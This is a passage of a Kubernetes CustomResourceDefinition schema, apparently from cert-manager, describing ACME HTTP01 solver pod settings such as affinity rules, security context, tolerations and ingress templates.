                                                            Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        namespaceSelector:
                                                          description: |-
                                                            A label query over the set of namespaces that the term applies to.
                                                            The term is applied to the union of the namespaces selected by this field
                                                            and the ones listed in the namespaces field.
                                                            null selector and null or empty namespaces list means "this pod's namespace".
                                                            An empty selector ({}) matches all namespaces.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        namespaces:
                                                          description: |-
                                                            namespaces specifies a static list of namespace names that the term applies to.
                                                            The term is applied to the union of the namespaces listed in this field
                                                            and the ones selected by namespaceSelector.
                                                            null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        topologyKey:
                                                          description: |-
                                                            This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                            the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                            whose value of the label with key topologyKey matches that of any node on which any of the
                                                            selected pods is running.
                                                            Empty topologyKey is not allowed.
                                                          type: string
                                                      required:
                                                      - topologyKey
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                              podAntiAffinity:
                                                description: Describes pod anti-affinity
                                                  scheduling rules (e.g. avoid putting
                                                  this pod in the same node, zone,
                                                  etc. as some other pod(s)).
                                                properties:
                                                  preferredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      The scheduler will prefer to schedule pods to nodes that satisfy
                                                      the anti-affinity expressions specified by this field, but it may choose
                                                      a node that violates one or more of the expressions. The node that is
                                                      most preferred is the one with the greatest sum of weights, i.e.
                                                      for each node that meets all of the scheduling requirements (resource
                                                      request, requiredDuringScheduling anti-affinity expressions, etc.),
                                                      compute a sum by iterating through the elements of this field and adding
                                                      "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                      node(s) with the highest sum are the most preferred.
                                                    items:
                                                      description: The weights of
                                                        all of the matched WeightedPodAffinityTerm
                                                        fields are added per-node
                                                        to find the most preferred
                                                        node(s)
                                                      properties:
                                                        podAffinityTerm:
                                                          description: Required. A
                                                            pod affinity term, associated
                                                            with the corresponding
                                                            weight.
                                                          properties:
                                                            labelSelector:
                                                              description: |-
                                                                A label query over a set of resources, in this case pods.
                                                                If it's null, this PodAffinityTerm matches with no Pods.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            matchLabelKeys:
                                                              description: |-
                                                                MatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                                Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            mismatchLabelKeys:
                                                              description: |-
                                                                MismatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                                Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            namespaceSelector:
                                                              description: |-
                                                                A label query over the set of namespaces that the term applies to.
                                                                The term is applied to the union of the namespaces selected by this field
                                                                and the ones listed in the namespaces field.
                                                                null selector and null or empty namespaces list means "this pod's namespace".
                                                                An empty selector ({}) matches all namespaces.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            namespaces:
                                                              description: |-
                                                                namespaces specifies a static list of namespace names that the term applies to.
                                                                The term is applied to the union of the namespaces listed in this field
                                                                and the ones selected by namespaceSelector.
                                                                null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            topologyKey:
                                                              description: |-
                                                                This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                                the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                                whose value of the label with key topologyKey matches that of any node on which any of the
                                                                selected pods is running.
                                                                Empty topologyKey is not allowed.
                                                              type: string
                                                          required:
                                                          - topologyKey
                                                          type: object
                                                        weight:
                                                          description: |-
                                                            weight associated with matching the corresponding podAffinityTerm,
                                                            in the range 1-100.
                                                          format: int32
                                                          type: integer
                                                      required:
                                                      - podAffinityTerm
                                                      - weight
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  requiredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      If the anti-affinity requirements specified by this field are not met at
                                                      scheduling time, the pod will not be scheduled onto the node.
                                                      If the anti-affinity requirements specified by this field cease to be met
                                                      at some point during pod execution (e.g. due to a pod label update), the
                                                      system may or may not try to eventually evict the pod from its node.
                                                      When there are multiple elements, the lists of nodes corresponding to each
                                                      podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                                    items:
                                                      description: |-
                                                        Defines a set of pods (namely those matching the labelSelector
                                                        relative to the given namespace(s)) that this pod should be
                                                        co-located (affinity) or not co-located (anti-affinity) with,
                                                        where co-located is defined as running on a node whose value of
                                                        the label with key <topologyKey> matches that of any node on which
                                                        a pod of the set of pods is running
                                                      properties:
                                                        labelSelector:
                                                          description: |-
                                                            A label query over a set of resources, in this case pods.
                                                            If it's null, this PodAffinityTerm matches with no Pods.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        matchLabelKeys:
                                                          description: |-
                                                            MatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
                                                            The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                            Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        mismatchLabelKeys:
                                                          description: |-
                                                            MismatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
                                                            The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                            Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        namespaceSelector:
                                                          description: |-
                                                            A label query over the set of namespaces that the term applies to.
                                                            The term is applied to the union of the namespaces selected by this field
                                                            and the ones listed in the namespaces field.
                                                            null selector and null or empty namespaces list means "this pod's namespace".
                                                            An empty selector ({}) matches all namespaces.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        namespaces:
                                                          description: |-
                                                            namespaces specifies a static list of namespace names that the term applies to.
                                                            The term is applied to the union of the namespaces listed in this field
                                                            and the ones selected by namespaceSelector.
                                                            null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        topologyKey:
                                                          description: |-
                                                            This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                            the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                            whose value of the label with key topologyKey matches that of any node on which any of the
                                                            selected pods is running.
                                                            Empty topologyKey is not allowed.
                                                          type: string
                                                      required:
                                                      - topologyKey
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                            type: object
                                          imagePullSecrets:
                                            description: If specified, the pod's imagePullSecrets
                                            items:
                                              description: |-
                                                LocalObjectReference contains enough information to let you locate the
                                                referenced object inside the same namespace.
                                              properties:
                                                name:
                                                  default: ""
                                                  description: |-
                                                    Name of the referent.
                                                    This field is effectively required, but due to backwards compatibility is
                                                    allowed to be empty. Instances of this type with an empty value here are
                                                    almost certainly wrong.
                                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                                  type: string
                                              type: object
                                              x-kubernetes-map-type: atomic
                                            type: array
                                          nodeSelector:
                                            additionalProperties:
                                              type: string
                                            description: |-
                                              NodeSelector is a selector which must be true for the pod to fit on a node.
                                              Selector which must match a node's labels for the pod to be scheduled on that node.
                                              More info: https://kubernetes.io/docs/concepts/configuration/assign-pod-node/
                                            type: object
                                          priorityClassName:
                                            description: If specified, the pod's priorityClassName.
                                            type: string
                                          securityContext:
                                            description: If specified, the pod's security
                                              context
                                            properties:
                                              fsGroup:
                                                description: |-
                                                  A special supplemental group that applies to all containers in a pod.
                                                  Some volume types allow the Kubelet to change the ownership of that volume
                                                  to be owned by the pod:

                                                  1. The owning GID will be the FSGroup
                                                  2. The setgid bit is set (new files created in the volume will be owned by FSGroup)
                                                  3. The permission bits are OR'd with rw-rw----

                                                  If unset, the Kubelet will not modify the ownership and permissions of any volume.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                format: int64
                                                type: integer
                                              fsGroupChangePolicy:
                                                description: |-
                                                  fsGroupChangePolicy defines behavior of changing ownership and permission of the volume
                                                  before being exposed inside Pod. This field will only apply to
                                                  volume types which support fsGroup based ownership(and permissions).
                                                  It will have no effect on ephemeral volume types such as: secret, configmaps
                                                  and emptydir.
                                                  Valid values are "OnRootMismatch" and "Always". If not specified, "Always" is used.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                type: string
                                              runAsGroup:
                                                description: |-
                                                  The GID to run the entrypoint of the container process.
                                                  Uses runtime default if unset.
                                                  May also be set in SecurityContext.  If set in both SecurityContext and
                                                  PodSecurityContext, the value specified in SecurityContext takes precedence
                                                  for that container.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                format: int64
                                                type: integer
                                              runAsNonRoot:
                                                description: |-
                                                  Indicates that the container must run as a non-root user.
                                                  If true, the Kubelet will validate the image at runtime to ensure that it
                                                  does not run as UID 0 (root) and fail to start the container if it does.
                                                  If unset or false, no such validation will be performed.
                                                  May also be set in SecurityContext.  If set in both SecurityContext and
                                                  PodSecurityContext, the value specified in SecurityContext takes precedence.
                                                type: boolean
                                              runAsUser:
                                                description: |-
                                                  The UID to run the entrypoint of the container process.
                                                  Defaults to user specified in image metadata if unspecified.
                                                  May also be set in SecurityContext.  If set in both SecurityContext and
                                                  PodSecurityContext, the value specified in SecurityContext takes precedence
                                                  for that container.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                format: int64
                                                type: integer
                                              seLinuxOptions:
                                                description: |-
                                                  The SELinux context to be applied to all containers.
                                                  If unspecified, the container runtime will allocate a random SELinux context for each
                                                  container.  May also be set in SecurityContext.  If set in
                                                  both SecurityContext and PodSecurityContext, the value specified in SecurityContext
                                                  takes precedence for that container.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                properties:
                                                  level:
                                                    description: Level is SELinux
                                                      level label that applies to
                                                      the container.
                                                    type: string
                                                  role:
                                                    description: Role is a SELinux
                                                      role label that applies to the
                                                      container.
                                                    type: string
                                                  type:
                                                    description: Type is a SELinux
                                                      type label that applies to the
                                                      container.
                                                    type: string
                                                  user:
                                                    description: User is a SELinux
                                                      user label that applies to the
                                                      container.
                                                    type: string
                                                type: object
                                              seccompProfile:
                                                description: |-
                                                  The seccomp options to use by the containers in this pod.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                properties:
                                                  localhostProfile:
                                                    description: |-
                                                      localhostProfile indicates a profile defined in a file on the node should be used.
                                                      The profile must be preconfigured on the node to work.
                                                      Must be a descending path, relative to the kubelet's configured seccomp profile location.
                                                      Must be set if type is "Localhost". Must NOT be set for any other type.
                                                    type: string
                                                  type:
                                                    description: |-
                                                      type indicates which kind of seccomp profile will be applied.
                                                      Valid options are:

                                                      Localhost - a profile defined in a file on the node should be used.
                                                      RuntimeDefault - the container runtime default profile should be used.
                                                      Unconfined - no profile should be applied.
                                                    type: string
                                                required:
                                                - type
                                                type: object
                                              supplementalGroups:
                                                description: |-
                                                  A list of groups applied to the first process run in each container, in addition
                                                  to the container's primary GID, the fsGroup (if specified), and group memberships
                                                  defined in the container image for the uid of the container process. If unspecified,
                                                  no additional groups are added to any container. Note that group memberships
                                                  defined in the container image for the uid of the container process are still effective,
                                                  even if they are not included in this list.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                items:
                                                  format: int64
                                                  type: integer
                                                type: array
                                              sysctls:
                                                description: |-
                                                  Sysctls hold a list of namespaced sysctls used for the pod. Pods with unsupported
                                                  sysctls (by the container runtime) might fail to launch.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                items:
                                                  description: Sysctl defines a kernel
                                                    parameter to be set
                                                  properties:
                                                    name:
                                                      description: Name of a property
                                                        to set
                                                      type: string
                                                    value:
                                                      description: Value of a property
                                                        to set
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                            type: object
                                          serviceAccountName:
                                            description: If specified, the pod's service
                                              account
                                            type: string
                                          tolerations:
                                            description: If specified, the pod's tolerations.
                                            items:
                                              description: |-
                                                The pod this Toleration is attached to tolerates any taint that matches
                                                the triple <key,value,effect> using the matching operator <operator>.
                                              properties:
                                                effect:
                                                  description: |-
                                                    Effect indicates the taint effect to match. Empty means match all taint effects.
                                                    When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                                  type: string
                                                key:
                                                  description: |-
                                                    Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                                    If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                                  type: string
                                                operator:
                                                  description: |-
                                                    Operator represents a key's relationship to the value.
                                                    Valid operators are Exists and Equal. Defaults to Equal.
                                                    Exists is equivalent to wildcard for value, so that a pod can
                                                    tolerate all taints of a particular category.
                                                  type: string
                                                tolerationSeconds:
                                                  description: |-
                                                    TolerationSeconds represents the period of time the toleration (which must be
                                                    of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                                    it is not set, which means tolerate the taint forever (do not evict). Zero and
                                                    negative values will be treated as 0 (evict immediately) by the system.
                                                  format: int64
                                                  type: integer
                                                value:
                                                  description: |-
                                                    Value is the taint value the toleration matches to.
                                                    If the operator is Exists, the value should be empty, otherwise just a regular string.
                                                  type: string
                                              type: object
                                            type: array
                                        type: object
                                    type: object
                                  serviceType:
                                    description: |-
                                      Optional service type for Kubernetes solver service. Supported values
                                      are NodePort or ClusterIP. If unset, defaults to NodePort.
                                    type: string
                                type: object
                              ingress:
                                description: |-
                                  The ingress based HTTP01 challenge solver will solve challenges by
                                  creating or modifying Ingress resources in order to route requests for
                                  '/.well-known/acme-challenge/XYZ' to 'challenge solver' pods that are
                                  provisioned by cert-manager for each Challenge to be completed.
                                properties:
                                  class:
                                    description: |-
                                      This field configures the annotation `kubernetes.io/ingress.class` when
                                      creating Ingress resources to solve ACME challenges that use this
                                      challenge solver. Only one of `class`, `name` or `ingressClassName` may
                                      be specified.
                                    type: string
                                  ingressClassName:
                                    description: |-
                                      This field configures the field `ingressClassName` on the created Ingress
                                      resources used to solve ACME challenges that use this challenge solver.
                                      This is the recommended way of configuring the ingress class. Only one of
                                      `class`, `name` or `ingressClassName` may be specified.
                                    type: string
                                  ingressTemplate:
                                    description: |-
                                      Optional ingress template used to configure the ACME challenge solver
                                      ingress used for HTTP01 challenges.
                                    properties:
                                      metadata:
                                        description: |-
                                          ObjectMeta overrides for the ingress used to solve HTTP01 challenges.
                                          Only the 'labels' and 'annotations' fields may be set.
                                          If labels or annotations overlap with in-built values, the values here
                                          will override the in-built values.
                                        properties:
                                          annotations:
                                            additionalProperties:
                                              type: string
                                            description: Annotations that should be
                                              added to the created ACME HTTP01 solver
                                              ingress.
                                            type: object
                                          labels:
                                            additionalProperties:
                                              type: string
                                            description: Labels that should be added
                                              to the created ACME HTTP01 solver ingress.
                                            type: object
                                        type: object
                                    type: object
                                  name:
                                    description: |-
                                      The name of the ingress resource that should have ACME challenge solving
                                      routes inserted into it in order to solve HTTP01 challenges.
                                      This is typically used in conjunction with ingress controllers like
                                      ingress-gce, which maintains a 1:1 mapping between external IPs and
                                      ingress resources. Only one of `class`, `name` or `ingressClassName` may
                                      be specified.
                                    type: string
                                  podTemplate:
                                    description: |-
                                      Optional pod template used to configure the ACME challenge solver pods
                                      used for HTTP01 challenges.
                                    properties:
                                      metadata:
                                        description: |-
                                          ObjectMeta overrides for the pod used to solve HTTP01 challenges.
                                          Only the 'labels' and 'annotations' fields may be set.
                                          If labels or annotations overlap with in-built values, the values here
                                          will override the in-built values.
                                        properties:
                                          annotations:
                                            additionalProperties:
                                              type: string
                                            description: Annotations that should be
                                              added to the created ACME HTTP01 solver
                                              pods.
                                            type: object
                                          labels:
                                            additionalProperties:
                                              type: string
                                            description: Labels that should be added
                                              to the created ACME HTTP01 solver pods.
                                            type: object
                                        type: object
                                      spec:
                                        description: |-
                                          PodSpec defines overrides for the HTTP01 challenge solver pod.
                                          Check ACMEChallengeSolverHTTP01IngressPodSpec to find out currently supported fields.
                                          All other fields will be ignored.
                                        properties:
                                          affinity:
                                            description: If specified, the pod's scheduling
                                              constraints
                                            properties:
                                              nodeAffinity:
                                                description: Describes node affinity
                                                  scheduling rules for the pod.
                                                properties:
                                                  preferredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      The scheduler will prefer to schedule pods to nodes that satisfy
                                                      the affinity expressions specified by this field, but it may choose
                                                      a node that violates one or more of the expressions. The node that is
                                                      most preferred is the one with the greatest sum of weights, i.e.
                                                      for each node that meets all of the scheduling requirements (resource
                                                      request, requiredDuringScheduling affinity expressions, etc.),
                                                      compute a sum by iterating through the elements of this field and adding
                                                      "weight" to the sum if the node matches the corresponding matchExpressions; the
                                                      node(s) with the highest sum are the most preferred.
                                                    items:
                                                      description: |-
                                                        An empty preferred scheduling term matches all objects with implicit weight 0
                                                        (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                                      properties:
                                                        preference:
                                                          description: A node selector
                                                            term, associated with
                                                            the corresponding weight.
                                                          properties:
                                                            matchExpressions:
                                                              description: A list
                                                                of node selector requirements
                                                                by node's labels.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchFields:
                                                              description: A list
                                                                of node selector requirements
                                                                by node's fields.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        weight:
                                                          description: Weight associated
                                                            with matching the corresponding
                                                            nodeSelectorTerm, in the
                                                            range 1-100.
                                                          format: int32
                                                          type: integer
                                                      required:
                                                      - preference
                                                      - weight
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  requiredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      If the affinity requirements specified by this field are not met at
                                                      scheduling time, the pod will not be scheduled onto the node.
                                                      If the affinity requirements specified by this field cease to be met
                                                      at some point during pod execution (e.g. due to an update), the system
                                                      may or may not try to eventually evict the pod from its node.
                                                    properties:
                                                      nodeSelectorTerms:
                                                        description: Required. A list
                                                          of node selector terms.
                                                          The terms are ORed.
                                                        items:
                                                          description: |-
                                                            A null or empty node selector term matches no objects. The requirements of
                                                            them are ANDed.
                                                            The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                          properties:
                                                            matchExpressions:
                                                              description: A list
                                                                of node selector requirements
                                                                by node's labels.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchFields:
                                                              description: A list
